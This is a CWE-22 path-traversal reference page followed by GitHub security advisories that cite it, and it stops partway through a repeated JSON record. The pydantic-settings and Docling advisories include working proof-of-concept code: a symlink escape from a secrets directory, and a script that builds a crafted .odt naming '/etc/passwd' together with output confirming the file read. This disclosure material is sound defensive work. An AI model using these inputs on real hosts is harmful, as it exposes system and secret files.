CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16154 vulnerabilities reference this CWE, most recent first.
GHSA-4X7W-FRCQ-V4M3
Vulnerability from github – Published: 2020-09-03 20:38 – Updated: 2020-08-31 18:49All versions of @wturyn/swagger-injector are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured dist folder using relative paths.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@wturyn/swagger-injector"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:49:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "All versions of `@wturyn/swagger-injector` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured `dist` folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
"id": "GHSA-4x7w-frcq-v4m3",
"modified": "2020-08-31T18:49:56Z",
"published": "2020-09-03T20:38:47Z",
"references": [
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1173"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Path Traversal in @wturyn/swagger-injector"
}
GHSA-4XGF-CPJX-PC3J
Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10Summary
NestedSecretsSettingsSource reads secret values from files in a configured secrets_dir. When secrets_nested_subdir=True, a directory entry inside secrets_dir that is a symbolic link pointing outside secrets_dir is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented secrets_dir_max_size protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.
Details
NestedSecretsSettingsSource performed two passes over secrets_dir using two different, inconsistent directory-traversal implementations:
- The size check in
validate_secrets_path()usedPath.glob('**/*'), which does not descend into a symbolically-linked directory. - The loader in
load_secrets()usedglob.iglob(f'{path}/**/*', recursive=True)followed byread_text(), which does follow symlinked directories and reads through the link target.
Because the two passes disagreed on symlinks, a symlinked directory inside secrets_dir whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:
- Out-of-tree read (CWE-22 / CWE-59). A symlinked directory (or file) inside
secrets_dirthat resolves outside it is followed, and the external file's contents are loaded into the corresponding settings field. secrets_dir_max_sizebypass (CWE-400). The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, whichglob.iglob(recursive=True)re-traverses, inflating the size accounting and the number of loaded secrets.
Reproduction
In a clean Linux container, with a secrets_dir containing a symlink secrets/db -> /path/outside and an outside/passwd file of 512 bytes, while secrets_dir_max_size=100:
from pydantic import BaseModel
from pydantic_settings import (
BaseSettings,
SettingsConfigDict,
NestedSecretsSettingsSource,
)
class Db(BaseModel):
passwd: str | None = None
class Settings(BaseSettings):
model_config = SettingsConfigDict(
secrets_dir='secrets',
secrets_nested_subdir=True,
secrets_dir_max_size=100, # outside/passwd is 512 bytes
)
db: Db = Db()
@classmethod
def settings_customise_sources(
cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings
):
return (NestedSecretsSettingsSource(file_secret_settings),)
On affected versions, Settings().db.passwd is populated with the 512-byte out-of-tree file and no SettingsError is raised, even though the file exceeds secrets_dir_max_size.
Impact
Applications that opt into NestedSecretsSettingsSource with secrets_nested_subdir=True and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:
- Confidentiality: files outside the configured
secrets_dircan be read into settings values (local file read). - Integrity / availability of the safeguard: the advertised
secrets_dir_max_sizecap can be bypassed, and cyclic symlinks can inflate resource usage during loading.
The vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use NestedSecretsSettingsSource, or that point secrets_dir at a directory fully under the application's control, are not affected.
Mitigation
Upgrade to pydantic-settings 2.14.2, which:
- walks the secrets directory explicitly and only descends into directories whose resolved path stays within
secrets_dir, so symlinked directories pointing outside are never followed; - uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;
- skips any file whose resolved path escapes
secrets_dir, as defense in depth.
If upgrading is not immediately possible, ensure the configured secrets_dir is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid secrets_nested_subdir=True.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-settings"
},
"ranges": [
{
"events": [
{
"introduced": "2.12.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-400",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:10:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`NestedSecretsSettingsSource` reads secret values from files in a configured `secrets_dir`. When `secrets_nested_subdir=True`, a directory entry inside `secrets_dir` that is a symbolic link pointing **outside** `secrets_dir` is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented `secrets_dir_max_size` protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.\n\n### Details\n\n`NestedSecretsSettingsSource` performed two passes over `secrets_dir` using two different, inconsistent directory-traversal implementations:\n\n* The size check in `validate_secrets_path()` used `Path.glob(\u0027**/*\u0027)`, which does **not** descend into a symbolically-linked directory.\n* The loader in `load_secrets()` used `glob.iglob(f\u0027{path}/**/*\u0027, recursive=True)` followed by `read_text()`, which **does** follow symlinked directories and reads through the link target.\n\nBecause the two passes disagreed on symlinks, a symlinked directory inside `secrets_dir` whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:\n\n1. **Out-of-tree read (CWE-22 / CWE-59).** A symlinked directory (or file) inside `secrets_dir` that resolves outside it is followed, and the external file\u0027s contents are loaded into the corresponding settings field.\n2. **`secrets_dir_max_size` bypass (CWE-400).** The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which `glob.iglob(recursive=True)` re-traverses, inflating the size accounting and the number of loaded secrets.\n\n#### Reproduction\n\nIn a clean Linux container, with a `secrets_dir` containing a symlink `secrets/db -\u003e /path/outside` and an `outside/passwd` file of 512 bytes, while `secrets_dir_max_size=100`:\n\n```python\nfrom pydantic import BaseModel\nfrom pydantic_settings import (\n BaseSettings,\n SettingsConfigDict,\n NestedSecretsSettingsSource,\n)\n\n\nclass Db(BaseModel):\n passwd: str | None = None\n\n\nclass Settings(BaseSettings):\n model_config = SettingsConfigDict(\n secrets_dir=\u0027secrets\u0027,\n secrets_nested_subdir=True,\n secrets_dir_max_size=100, # outside/passwd is 512 bytes\n )\n db: Db = Db()\n\n @classmethod\n def settings_customise_sources(\n cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings\n ):\n return (NestedSecretsSettingsSource(file_secret_settings),)\n```\n\nOn affected versions, `Settings().db.passwd` is populated with the 512-byte out-of-tree file and **no** `SettingsError` is raised, even though the file exceeds `secrets_dir_max_size`.\n\n### Impact\n\nApplications that opt into `NestedSecretsSettingsSource` with `secrets_nested_subdir=True` and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:\n\n* **Confidentiality:** files outside the configured `secrets_dir` can be read into settings values (local file read).\n* **Integrity / availability of the safeguard:** the advertised `secrets_dir_max_size` cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.\n\nThe vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use `NestedSecretsSettingsSource`, or that point `secrets_dir` at a directory fully under the application\u0027s control, are not affected.\n\n### Mitigation\n\nUpgrade to **pydantic-settings 2.14.2**, which:\n\n* walks the secrets directory explicitly and only descends into directories whose resolved path stays within `secrets_dir`, so symlinked directories pointing outside are never followed;\n* uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;\n* skips any file whose resolved path escapes `secrets_dir`, as defense in depth.\n\nIf upgrading is not immediately possible, ensure the configured `secrets_dir` is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid `secrets_nested_subdir=True`.",
"id": "GHSA-4xgf-cpjx-pc3j",
"modified": "2026-06-19T22:10:42Z",
"published": "2026-06-19T22:10:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-settings/security/advisories/GHSA-4xgf-cpjx-pc3j"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size"
}
GHSA-4XH3-CV46-PPH4
Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2023-05-23 15:30A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct path traversal attacks and obtain read access to sensitive files on an affected system. The vulnerability is due to insufficient validation of HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request that contains directory traversal character sequences to the affected system. A successful exploit could allow the attacker to view arbitrary files on the affected system.
{
"affected": [],
"aliases": [
"CVE-2020-3401"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-16T18:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct path traversal attacks and obtain read access to sensitive files on an affected system. The vulnerability is due to insufficient validation of HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request that contains directory traversal character sequences to the affected system. A successful exploit could allow the attacker to view arbitrary files on the affected system.",
"id": "GHSA-4xh3-cv46-pph4",
"modified": "2023-05-23T15:30:25Z",
"published": "2022-05-24T17:23:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3401"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmandowndir-CVGvdKM3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XHP-XG4W-8PPM
Vulnerability from github – Published: 2026-10-05 22:33 – Updated: 2026-10-05 22:33Summary
The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever
the referenced part is not found inside the document archive. The value comes straight from
content.xml, so it is document content, and it is used with no scheme check, no confinement to
the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch
controls that the other backends use for exactly this decision.
Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on
the converting host. Where the target decodes as an image, its complete contents are embedded in
the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.
Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries.
Affected component
docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:
image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
try:
image_data = odf_obj.get_part(image_url)
except Exception:
image_data = None
if image_data is None and image_url:
image_path = Path(image_url)
if image_path.is_file():
image_data = image_path.read_bytes()
_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first;
when it fails, the same string is handed to Path and read from disk.
The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is
one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The
empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.
The backend does not use the project's own fetch controls
$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
docling/backend/opendocument_backend.py
$
Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through
docling/backend/utils/image_resource_loader.py, where enable_local_fetch and
enable_remote_fetch both default to False. The ODF backend reimplements image loading and does
not consult either, so the default of not fetching local resources is not applied on this path.
That is the substance of the report: the control exists, it is off by default, and this backend does not reach it.
Affected versions
Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF
image/table handling" (#3480), 2026-06-24. First released in v2.107.0.
Affected: docling >= 2.107.0, up to and including 2.117.0 and current main
(52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).
Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded
part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address
unrelated defects and leave the path resolution unchanged.
Reproduced on two independent machines:
| Python 3.12.3 | docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1 |
| Python 3.14.4 | same releases, and again against main clones on sys.path |
Proof of concept
Trigger
An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.
import zipfile
CONTENT = (
'<?xml version="1.0"?><office:document-content '
'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
'<office:body><office:text><text:p>'
'<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
'</text:p></office:text></office:body></office:document-content>'
)
def build(path, href):
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, "application/vnd.oasis.opendocument.text")
zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_DEFLATED
z.writestr(zi, CONTENT.format(href=href))
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")
With the fixed archive timestamp above the artifacts are byte-reproducible:
| File | Bytes | sha256 |
|---|---|---|
odt_etc_passwd.odt |
452 | edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634 |
odt_control.odt |
458 | da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6 |
Without the fixed timestamp the archive size varies by a few bytes with the length of the href
string, which is the only part that changes.
Conversion — public API, default install, no options set
from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))
The read itself is observed with sys.addaudithook, which records every open without modifying
Docling or any dependency.
A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh
temporary directory, builds the trigger and the control, converts both, and reports the read, the
disclosure in each export format, and ten consecutive repetitions.
Output — disclosure
python 3.14.4
docling /home/asus/CVE/docling/docling/__init__.py
canary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f)
trigger odf_trigger.odt (471 B, sha256 341d060294c90447)
file opened outside document : True ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html : True
contents present in markdown : True
contents present in json : True
control (in-archive href) : disclosed=False
determinism : 10/10
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------
The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly.
The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside
the archive and discloses nothing, through the same function. That is what separates this from
intended behaviour.
Output — read of a non-image path
The read happens before any decoding is attempted, so it is not confined to image files.
/etc/passwd status=success opened=['/etc/passwd']
/etc/does_not_exist_9c1f status=success opened=[]
Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths.
Impact
Confirmed by execution, default install, no options set:
- Arbitrary local file read. A converted document names an absolute path and Docling opens
it. Observed for
/etc/passwdand for paths with no extension. - Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way.
- Full content disclosure. Where the target decodes as an image, its bytes are embedded in
the
DoclingDocumentand appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight.
Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is
an accepted input format there, json is an accepted output format, and the service defaults to
binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is
reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am
raising it for you to check rather than presenting it as a result.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "docling"
},
"ranges": [
{
"events": [
{
"introduced": "2.107.0"
},
{
"fixed": "2.120.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-105751"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:33:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n \nThe ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever\nthe referenced part is not found inside the document archive. The value comes straight from\n`content.xml`, so it is document content, and it is used with no scheme check, no confinement to\nthe extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch`\ncontrols that the other backends use for exactly this decision.\n \nConverting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on\nthe converting host. Where the target decodes as an image, its complete contents are embedded in\nthe resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports.\n \nBoth the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive\ncontaining two entries.\n \n## Affected component\n \n`docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`:\n \n```python\nimage_url = _odf_image_href(image)\n...\nif image_data is None and odf_obj is not None and image_url:\n try:\n image_data = odf_obj.get_part(image_url)\n except Exception:\n image_data = None\n \nif image_data is None and image_url:\n image_path = Path(image_url)\n if image_path.is_file():\n image_data = image_path.read_bytes()\n```\n \n`_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first;\nwhen it fails, the same string is handed to `Path` and read from disk.\n \nThe only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is\none of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, **or empty**. The\nempty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them.\n \n### The backend does not use the project\u0027s own fetch controls\n \n```\n$ grep -n \"enable_local_fetch\\|enable_remote_fetch\\|image_resource_loader\" \\\n docling/backend/opendocument_backend.py\n$\n```\n \nNothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through\n`docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and\n`enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does\nnot consult either, so the default of not fetching local resources is not applied on this path.\n \nThat is the substance of the report: the control exists, it is off by default, and this backend\ndoes not reach it.\n \n## Affected versions\n \nIntroduced by commit `e2afe381`, \"feat: Add OpenDocument backend support and improve ODF\nimage/table handling\" (#3480), 2026-06-24. First released in **v2.107.0**.\n \n**Affected: `docling` \u003e= 2.107.0, up to and including 2.117.0 and current `main`\n(`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).**\n \nSubsequent commits touching this file \u2014 `2c3e55b3` (skip a `draw:object` with a missing embedded\npart), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) \u2014 address\nunrelated defects and leave the path resolution unchanged.\n \nReproduced on two independent machines:\n \n| | |\n|---|---|\n| Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 |\n| Python 3.14.4 | same releases, and again against `main` clones on `sys.path` |\n \n## Proof of concept\n \n### Trigger\n \nAn `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part.\n \n```python\nimport zipfile\n \nCONTENT = (\n \u0027\u003c?xml version=\"1.0\"?\u003e\u003coffice:document-content \u0027\n \u0027xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" \u0027\n \u0027xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\" \u0027\n \u0027xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\" \u0027\n \u0027xmlns:xlink=\"http://www.w3.org/1999/xlink\" office:version=\"1.2\"\u003e\u0027\n \u0027\u003coffice:body\u003e\u003coffice:text\u003e\u003ctext:p\u003e\u0027\n \u0027\u003cdraw:frame\u003e\u003cdraw:image xlink:href=\"{href}\"/\u003e\u003c/draw:frame\u003e\u0027\n \u0027\u003c/text:p\u003e\u003c/office:text\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\u0027\n)\n \ndef build(path, href):\n with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n zi = zipfile.ZipInfo(\"mimetype\", date_time=(1980, 1, 1, 0, 0, 0))\n zi.compress_type = zipfile.ZIP_STORED\n z.writestr(zi, \"application/vnd.oasis.opendocument.text\")\n zi = zipfile.ZipInfo(\"content.xml\", date_time=(1980, 1, 1, 0, 0, 0))\n zi.compress_type = zipfile.ZIP_DEFLATED\n z.writestr(zi, CONTENT.format(href=href))\n \nbuild(\"odt_etc_passwd.odt\", \"/etc/passwd\")\nbuild(\"odt_control.odt\", \"Pictures/image1.png\")\n```\n \nWith the fixed archive timestamp above the artifacts are byte-reproducible:\n \n| File | Bytes | sha256 |\n|---|---|---|\n| `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` |\n| `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` |\n \nWithout the fixed timestamp the archive size varies by a few bytes with the length of the `href`\nstring, which is the only part that changes.\n \n### Conversion \u2014 public API, default install, no options set\n \n```python\nfrom pathlib import Path\nfrom docling.document_converter import DocumentConverter\nfrom docling_core.types.doc import ImageRefMode\n \ndoc = DocumentConverter().convert(Path(\"trigger.odt\")).document\nprint(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))\n```\n \nThe read itself is observed with `sys.addaudithook`, which records every `open` without modifying\nDocling or any dependency.\n \nA self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh\ntemporary directory, builds the trigger and the control, converts both, and reports the read, the\ndisclosure in each export format, and ten consecutive repetitions.\n \n### Output \u2014 disclosure\n \n```\npython 3.14.4\ndocling /home/asus/CVE/docling/docling/__init__.py\ncanary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f)\ntrigger odf_trigger.odt (471 B, sha256 341d060294c90447)\n \nfile opened outside document : True 